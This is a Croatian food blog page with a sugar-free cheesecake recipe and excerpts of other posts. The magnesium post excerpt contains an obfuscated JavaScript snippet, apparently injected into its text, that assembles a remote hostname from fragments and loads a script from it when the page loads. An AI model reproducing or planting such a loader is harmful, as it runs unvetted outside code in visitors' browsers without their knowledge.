CHEESECAKE BEZ ŠEĆERA





Cheesecake bez šećera 




Cheesecake je već godinama među najpopularnijim desertima, a njegova popularnost ne jenjava ni kad su u pitanju zdravije verzije. Ova varijanta donosi poznatu kremastu teksturu, ali uz manje masnoće, bez dodanog šećera i s većim udjelom proteina.





Cheesecake bez šećera 


Sastojci:

  • 750 g kremastog quark sira
  • 250 g krem sira
  • 4 jaja
  • 100 ml evaporiranog mlijeka
  • 75 g eritritola u prahu
  • 10 do 12 kapi tekuće sukraloze
  • 25 g kukuruznog škroba
  • 1 žličica ekstrakta vanilije
  • naribana korica pola limuna




Priprema:

Kalup promjera 20 do 22 centimetra lagano navlažite vodom i obložite zgužvanim papirom za pečenje tako da rubovi papira vire izvan kalupa.

U velikoj zdjeli pomiješajte quark i krem sir. Dodajte eritritol, sukralozu, vaniliju i limunovu koricu pa lagano izmiješajte ručno, bez korištenja miksera velike brzine kako smjesa ne bi primila previše zraka.

Kukuruzni škrob razmutite u evaporiranom mlijeku pa dodajte u smjesu. Umiješajte jedno po jedno jaje laganim pokretima. Smjesu ulijte u kalup i nekoliko puta lagano lupite kalupom o radnu površinu kako biste uklonili mjehuriće zraka.

Pecite 15 minuta u pećnici zagrijanoj na 220 stupnjeva, zatim smanjite temperaturu na 160 stupnjeva i nastavite peći još 35 do 40 minuta.

Cheesecake je gotov kad su rubovi čvrsti, a sredina se još lagano trese.

Nakon pečenja ostavite tortu 40 minuta u ugašenoj pećnici s odškrinutim vratima, zatim je ohladite na sobnoj temperaturi i stavite u hladnjak najmanje osam sati.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više